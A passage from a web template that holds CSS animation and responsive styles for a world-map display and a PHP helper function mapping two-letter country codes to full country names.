    text-shadow: 0 0 5px rgba(255, 62, 62, 0.5);
}

/* Scanline Animation */
@keyframes scanline {
    0% {
        transform: translateY(-100%);
    }
    100% {
        transform: translateY(100%);
    }
}

.quantum-table-wrapper::after {
    content: '';
    position: absolute;
    top: 0;
    left: 0;
    right: 0;
    height: 1px;
    background: linear-gradient(90deg, transparent, var(--quantum-primary), transparent);
    animation: scanline 3s linear infinite;
    opacity: 0.5;
}

/* Responsive Design */
@media (max-width: 1200px) {
    #world-map {
        min-height: 500px;
    }
}

@media (max-width: 992px) {
    #world-map {
        min-height: 450px;
        aspect-ratio: 1.8 / 1;
    }
}

@media (max-width: 768px) {
    #world-map {
        min-height: 400px;
        aspect-ratio: 1.5 / 1;
    }
}

@media (max-width: 576px) {
    #world-map {
        min-height: 300px;
        aspect-ratio: 1.2 / 1;
    }
}
</style>

<?php
function getCountryFullName($code) {
    $countries = array(
        'AF' => 'Afghanistan', 'AL' => 'Albania', 'DZ' => 'Algeria', 'AS' => 'American Samoa', 
        'AD' => 'Andorra', 'AO' => 'Angola', 'AI' => 'Anguilla', 'AQ' => 'Antarctica', 
        'AG' => 'Antigua and Barbuda', 'AR' => 'Argentina', 'AM' => 'Armenia', 'AW' => 'Aruba', 
        'AU' => 'Australia', 'AT' => 'Austria', 'AZ' => 'Azerbaijan', 'BS' => 'Bahamas', 
        'BH' => 'Bahrain', 'BD' => 'Bangladesh', 'BB' => 'Barbados', 'BY' => 'Belarus', 
        'BE' => 'Belgium', 'BZ' => 'Belize', 'BJ' => 'Benin', 'BM' => 'Bermuda', 
        'BT' => 'Bhutan', 'BO' => 'Bolivia', 'BA' => 'Bosnia and Herzegovina', 
        'BW' => 'Botswana', 'BV' => 'Bouvet Island', 'BR' => 'Brazil', 
        'IO' => 'British Indian Ocean Territory', 'BN' => 'Brunei Darussalam', 
        'BG' => 'Bulgaria', 'BF' => 'Burkina Faso', 'BI' => 'Burundi', 'KH' => 'Cambodia', 
        'CM' => 'Cameroon', 'CA' => 'Canada', 'CV' => 'Cape Verde', 'KY' => 'Cayman Islands', 
        'CF' => 'Central African Republic', 'TD' => 'Chad', 'CL' => 'Chile', 'CN' => 'China', 
        'CX' => 'Christmas Island', 'CC' => 'Cocos (Keeling) Islands', 'CO' => 'Colombia', 
        'KM' => 'Comoros', 'CG' => 'Congo', 'CD' => 'Congo, Democratic Republic', 
        'CK' => 'Cook Islands', 'CR' => 'Costa Rica', 'CI' => 'Cote D\'Ivoire', 
        'HR' => 'Croatia', 'CU' => 'Cuba', 'CY' => 'Cyprus', 'CZ' => 'Czech Republic', 
        'DK' => 'Denmark', 'DJ' => 'Djibouti', 'DM' => 'Dominica', 
        'DO' => 'Dominican Republic', 'EC' => 'Ecuador', 'EG' => 'Egypt', 
        'SV' => 'El Salvador', 'GQ' => 'Equatorial Guinea', 'ER' => 'Eritrea', 
        'EE' => 'Estonia', 'ET' => 'Ethiopia', 'FK' => 'Falkland Islands (Malvinas)', 
        'FO' => 'Faroe Islands', 'FJ' => 'Fiji', 'FI' => 'Finland', 'FR' => 'France', 
        'GF' => 'French Guiana', 'PF' => 'French Polynesia', 'TF' => 'French Southern Territories', 
        'GA' => 'Gabon', 'GM' => 'Gambia', 'GE' => 'Georgia', 'DE' => 'Germany', 
        'GH' => 'Ghana', 'GI' => 'Gibraltar', 'GR' => 'Greece', 'GL' => 'Greenland', 
        'GD' => 'Grenada', 'GP' => 'Guadeloupe', 'GU' => 'Guam', 'GT' => 'Guatemala', 
        'GN' => 'Guinea', 'GW' => 'Guinea-Bissau', 'GY' => 'Guyana', 'HT' => 'Haiti', 
        'HM' => 'Heard Island and Mcdonald Islands', 'VA' => 'Holy See (Vatican City State)', 
        'HN' => 'Honduras', 'HK' => 'Hong Kong', 'HU' => 'Hungary', 'IS' => 'Iceland', 
        'IN' => 'India', 'ID' => 'Indonesia', 'IR' => 'Iran', 'IQ' => 'Iraq', 
        'IE' => 'Ireland', 'IL' => 'Israel', 'IT' => 'Italy', 'JM' => 'Jamaica', 
        'JP' => 'Japan', 'JO' => 'Jordan', 'KZ' => 'Kazakhstan', 'KE' => 'Kenya', 
        'KI' => 'Kiribati', 'KP' => 'Korea, Democratic People\'s Republic of', 
        'KR' => 'Korea, Republic of', 'KW' => 'Kuwait', 'KG' => 'Kyrgyzstan', 
        'LA' => 'Lao People\'s Democratic Republic', 'LV' => 'Latvia', 'LB' => 'Lebanon', 
        'LS' => 'Lesotho', 'LR' => 'Liberia', 'LY' => 'Libyan Arab Jamahiriya', 
        'LI' => 'Liechtenstein', 'LT' => 'Lithuania', 'LU' => 'Luxembourg', 
        'MO' => 'Macao', 'MK' => 'Macedonia', 'MG' => 'Madagascar', 'MW' => 'Malawi', 
        'MY' => 'Malaysia', 'MV' => 'Maldives', 'ML' => 'Mali', 'MT' => 'Malta', 
        'MH' => 'Marshall Islands', 'MQ' => 'Martinique', 'MR' => 'Mauritania', 
        'MU' => 'Mauritius', 'YT' => 'Mayotte', 'MX' => 'Mexico', 
        'FM' => 'Micronesia, Federated States of', 'MD' => 'Moldova, Republic of', 
        'MC' => 'Monaco', 'MN' => 'Mongolia', 'MS' => 'Montserrat', 'MA' => 'Morocco', 
        'MZ' => 'Mozambique', 'MM' => 'Myanmar', 'NA' => 'Namibia', 'NR' => 'Nauru', 
        'NP' => 'Nepal', 'NL' => 'Netherlands', 'NC' => 'New Caledonia', 'NZ' => 'New Zealand', 
        'NI' => 'Nicaragua', 'NE' => 'Niger', 'NG' => 'Nigeria', 'NU' => 'Niue', 
        'NF' => 'Norfolk Island', 'MP' => 'Northern Mariana Islands', 'NO' => 'Norway', 
        'OM' => 'Oman', 'PK' => 'Pakistan', 'PW' => 'Palau', 'PS' => 'Palestinian Territory', 
        'PA' => 'Panama', 'PG' => 'Papua New Guinea', 'PY' => 'Paraguay', 'PE' => 'Peru', 
        'PH' => 'Philippines', 'PN' => 'Pitcairn', 'PL' => 'Poland', 'PT' => 'Portugal', 
        'PR' => 'Puerto Rico', 'QA' => 'Qatar', 'RE' => 'Reunion', 'RO' => 'Romania', 
        'RU' => 'Russian Federation', 'RW' => 'Rwanda', 'SH' => 'Saint Helena', 
        'KN' => 'Saint Kitts and Nevis', 'LC' => 'Saint Lucia', 
        'PM' => 'Saint Pierre and Miquelon', 'VC' => 'Saint Vincent and the Grenadines', 
        'WS' => 'Samoa', 'SM' => 'San Marino', 'ST' => 'Sao Tome and Principe', 
        'SA' => 'Saudi Arabia', 'SN' => 'Senegal', 'CS' => 'Serbia and Montenegro', 
        'SC' => 'Seychelles', 'SL' => 'Sierra Leone', 'SG' => 'Singapore', 
        'SK' => 'Slovakia', 'SI' => 'Slovenia', 'SB' => 'Solomon Islands', 
        'SO' => 'Somalia', 'ZA' => 'South Africa', 
        'GS' => 'South Georgia and the South Sandwich Islands', 'ES' => 'Spain', 
        'LK' => 'Sri Lanka', 'SD' => 'Sudan', 'SR' => 'Suriname', 
        'SJ' => 'Svalbard and Jan Mayen', 'SZ' => 'Swaziland', 'SE' => 'Sweden', 
        'CH' => 'Switzerland', 'SY' => 'Syrian Arab Republic', 'TW' => 'Taiwan', 
        'TJ' => 'Tajikistan', 'TZ' => 'Tanzania, United Republic of', 'TH' => 'Thailand', 
        'TL' => 'Timor-Leste', 'TG' => 'Togo', 'TK' => 'Tokelau', 'TO' => 'Tonga', 
        'TT' => 'Trinidad and Tobago', 'TN' => 'Tunisia', 'TR' => 'Turkey', 
        'TM' => 'Turkmenistan', 'TC' => 'Turks and Caicos Islands', 'TV' => 'Tuvalu', 
        'UG' => 'Uganda', 'UA' => 'Ukraine', 'AE' => 'United Arab Emirates', 
        'GB' => 'United Kingdom', 'US' => 'United States', 
        'UM' => 'United States Minor Outlying Islands', 'UY' => 'Uruguay', 
        'UZ' => 'Uzbekistan', 'VU' => 'Vanuatu', 'VE' => 'Venezuela', 'VN' => 'Vietnam', 
        'VG' => 'Virgin Islands, British', 'VI' => 'Virgin Islands, U.S.', 
        'WF' => 'Wallis and Futuna', 'EH' => 'Western Sahara', 'YE' => 'Yemen', 
        'ZM' => 'Zambia', 'ZW' => 'Zimbabwe'
    );
    
    return isset($countries[$code]) ? $countries[$code] : $code;
}
?> 